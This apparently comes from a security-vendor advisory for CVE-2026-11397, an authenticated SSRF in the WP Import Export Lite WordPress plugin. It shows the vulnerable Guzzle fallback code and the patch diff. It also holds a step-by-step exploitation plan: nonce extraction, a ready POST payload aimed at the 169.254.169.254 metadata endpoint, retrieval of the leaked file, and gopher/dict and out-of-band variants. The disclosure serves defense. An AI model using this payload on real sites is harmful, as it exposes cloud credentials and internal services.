CVE-2026-11397

WP Import Export Lite <= 3.9.30 - Authenticated (Administrator+) Server-Side Request Forgery via 'file_url' Parameter

mediumServer-Side Request Forgery (SSRF)
5.5
CVSS Score
5.5
CVSS Score
medium
Severity
3.9.31
Patched in
1d
Time to patch

Description

The WP Import Export Lite plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to and including 3.9.30 via the wpie_import_upload_file_from_url AJAX action. The plugin's URL downloader first calls wp_safe_remote_get() (which correctly blocks private/reserved IP ranges), but when that call returns a WP_Error — the exact outcome for any blocked internal host — the Download::download_file() method falls back to GuzzleHttp\Client::request() with the original attacker-supplied URL and no SSRF protection (and with TLS verification disabled). This makes it possible for authenticated attackers, with administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services such as the cloud metadata endpoint at 169.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.9.30
PublishedJuly 2, 2026
Last updatedJuly 3, 2026
Affected pluginwp-import-export-lite

What Changed in the Fix

Changes introduced in v3.9.31

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan focuses on **CVE-2026-11397**, an authenticated SSRF vulnerability in the **WP Import Export Lite** plugin. The vulnerability arises from an insecure fallback mechanism in the file downloader class that bypasses WordPress's built-in SSRF protections. ### 1. Vulnerabi…

Show full research plan

This exploitation research plan focuses on CVE-2026-11397, an authenticated SSRF vulnerability in the WP Import Export Lite plugin. The vulnerability arises from an insecure fallback mechanism in the file downloader class that bypasses WordPress's built-in SSRF protections.

1. Vulnerability Summary

The WP Import Export Lite plugin provides functionality to download files from a URL for import purposes. The core logic resides in the wpie\import\Downloader\Download class.

The vulnerability exists because download_file() first attempts to use wp_safe_remote_get(), which correctly validates URLs against internal and reserved IP ranges. However, if wp_safe_remote_get() returns a WP_Error (which is the expected behavior when a request to a blocked internal IP is attempted), the code catches this error and falls back to a second method: guzzle_download().

The guzzle_download() method uses the GuzzleHttp\Client library to fetch the same attacker-supplied URL without any SSRF filtering and with SSL verification explicitly disabled ('verify' => false). This allows an administrator to probe internal network services (e.g., 127.0.0.1, 169.254.169.254) that are otherwise protected by WordPress.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wpie_import_upload_file_from_url
  • Vulnerable Parameter: file_url
  • Authentication Required: Administrator (or any user with access to the plugin's import functionality).
  • Preconditions: The plugin must be active.

3. Code Flow

  1. The attacker sends an AJAX request with action=wpie_import_upload_file_from_url and a file_url pointing to an internal resource (e.g., http://169.254.169.254/latest/meta-data/).
  2. The AJAX handler (typically in includes/classes/import/class-wpie-import-handler.php, inferred) instantiates wpie\import\Downloader\Download and calls download_file($_POST['file_url']).
  3. Download::download_file() (in includes/classes/import/downloader/download.php):
    • Calls $this->wp_download().
  4. Download::wp_download():
    • Calls wp_safe_remote_get($this->url, ...).
    • wp_safe_remote_get identifies the URL as an internal/private IP and returns a WP_Error.
    • wp_download() returns this WP_Error to the caller.
  5. Download::download_file() (resume):
    • Detects is_wp_error($wp_file).
    • Calls $this->guzzle_download().
  6. Download::guzzle_download():
    • Instantiates GuzzleHttp\Client.
    • Executes $client->request('GET', $this->url, ['sink' => $file, 'verify' => false]).
    • Sink: The internal data is written to a temporary file: get_temp_dir() . time() . rand() . ".tmp".
    • Returns the path to the temporary file.

4. Nonce Acquisition Strategy

The wpie_import_upload_file_from_url action is protected by a nonce. Based on the plugin structure, this nonce is usually localized for the import screen.

  1. Identify Trigger: The nonce is required for the "Upload from URL" feature in the Import menu.
  2. Navigation: Navigate to the Import page: /wp-admin/admin.php?page=wpie-import.
  3. Extraction:
    • The plugin localizes its data using wp_localize_script.
    • Use browser_eval to extract the nonce from the global JavaScript object.
    • Inferred Variable: The object is likely wpie_import_obj or wpie_import_vars.
    • Command: browser_eval("window.wpie_import_obj?.wpie_nonce") or browser_eval("window.wpie_import_vars?.nonce").
  4. Action Verification: The nonce is likely created with the action string 'wpie_import_nonce'. If wp_verify_nonce in the handler uses a different string or -1, adjust accordingly.

5. Exploitation Strategy

The exploit involves forcing the plugin to download data from an internal service and then confirming the data was written to the filesystem.

Step 1: Perform the SSRF
Send a POST request to admin-ajax.php:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wpie_import_upload_file_from_url&wpie_nonce=[NONCE]&file_url=http://169.254.169.254/latest/meta-data/
    

Step 2: Parse Response
The response is typically a JSON object. Look for a success key and a file_name or file_path indicating where the internal data was saved.

  • Example Response: {"success": true, "data": {"file_name": "171543210012345.tmp", ...}}

Step 3: Access Internal Data
Since the file is saved in the directory returned by get_temp_dir(), it is often located in wp-content/uploads/wp-import-export-lite/temp/ (defined as WPIE_UPLOAD_TEMP_DIR in wp-import-export-lite.php).

6. Test Data Setup

  1. Install and activate WP Import Export Lite <= 3.9.30.
  2. Create an administrator user.
  3. Ensure the wp-content/uploads/wp-import-export-lite/temp/ directory is writable.
  4. (Optional) For local testing, set up a simple internal service: python3 -m http.server 8080 --bind 127.0.0.1.

7. Expected Results

  • The AJAX request should return success: true.
  • A .tmp file should be created in the WordPress temporary directory or the plugin's temp directory.
  • The content of the .tmp file should contain the response from the internal service (e.g., AWS metadata or the local Python server's directory listing).

8. Verification Steps (Post-Exploit)

Use wp-cli to verify the presence and content of the leaked data:

# List files in the plugin temp directory
wp eval "print_r(glob(WPIE_UPLOAD_TEMP_DIR . '/*.tmp'));"

# Read the content of the most recent file
wp eval "echo file_get_contents(WPIE_UPLOAD_TEMP_DIR . '/[FILENAME_FROM_AJAX_RESPONSE]');"

9. Alternative Approaches

  • Gopher/Dict Protocols: If Guzzle is configured with full cURL support, try gopher:// or dict:// to interact with services like Redis or Memcached.
  • Local File Read (Inferred): Check if file_url supports the file:// scheme. While wp_safe_remote_get blocks it, Guzzle's behavior depends on the underlying handler; however, Guzzle typically only supports HTTP/HTTPS by default.
  • Blind SSRF/OOB: If the internal service doesn't return data, use a collaborator URL (e.g., Burp Collaborator) to verify the request originates from the server's IP, bypassing any outbound firewall rules that might allow only the web server's traffic.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Import Export Lite plugin for WordPress is vulnerable to authenticated Server-Side Request Forgery (SSRF) due to an insecure fallback mechanism in its file downloader. When the plugin's initial attempt to fetch a URL via wp_safe_remote_get() is blocked (as happens with internal or reserved IP ranges), the code catches the resulting error and retries the request using GuzzleHttp with no SSRF protections and SSL verification disabled. This allows administrators to bypass WordPress security restrictions and interact with internal network services or cloud metadata endpoints.

Vulnerable Code

/* includes/classes/import/downloader/download.php:24 */
                $wp_file = $this->wp_download();

                if ( is_wp_error( $wp_file ) ) {

                        $guzzle_file = $this->guzzle_download();

                        if ( !is_wp_error( $guzzle_file ) ) {
                                $wp_file = $guzzle_file;
                        }
                }

---

/* includes/classes/import/downloader/download.php:86 */
        private function guzzle_download() {

                $filename = time() . rand() . " .tmp";

                $file = get_temp_dir() . $filename;

                \wpie_load_vendor_autoloader();

                try {
                        $client = new \GuzzleHttp\Client();

                        $response = $client->request( 'GET', $this->url, [ 'sink' => $file, 'verify' => false ] );
                } catch ( \Exception $e ) {
                        return new \WP_Error( 'download_error', $e->getMessage() );
                }

Security Fix

--- /includes/classes/import/downloader/download.php
+++ /includes/classes/import/downloader/download.php
@@ -17,11 +17,15 @@
-        public function download_file( $url = "" ) {
+        public function download_file($url = "")
+        {
+
+                if (empty($url)) {
+                        return new \WP_Error('wpie_import_error', __('File Download Error : File URL is empty', 'wp-import-export-lite'));
+                }
 
-                $this->url = $url;
+                $this->url = \wp_http_validate_url($url);
 
-                if ( empty( $this->url ) ) {
-                        return new \WP_Error( 'wpie_import_error', __( 'File Download Error : File URL is empty', 'wp-import-export-lite' ) );
+                if (false === $this->url) {
+                        return new \WP_Error('wpie_import_error', __('File Download Error : File URL is not valid', 'wp-import-export-lite'));
                 }

Exploit Outline

The exploit is performed by an authenticated administrator using the plugin's file import functionality. 1. Access the WordPress dashboard and navigate to the plugin's Import screen to obtain a valid nonce (usually located in the localized 'wpie_import_obj' JavaScript object). 2. Submit a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'wpie_import_upload_file_from_url' and the 'file_url' parameter set to a target internal resource (e.g., 'http://169.254.169.254/latest/meta-data/'). 3. The plugin will first fail the safe request via wp_safe_remote_get but will immediately fallback to an unrestricted Guzzle request. 4. The internal data is written to a .tmp file in the plugin's temporary directory ('wp-content/uploads/wp-import-export-lite/temp/'). 5. The attacker can then retrieve the leaked content by checking the filename returned in the AJAX JSON response and accessing that file on the server.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.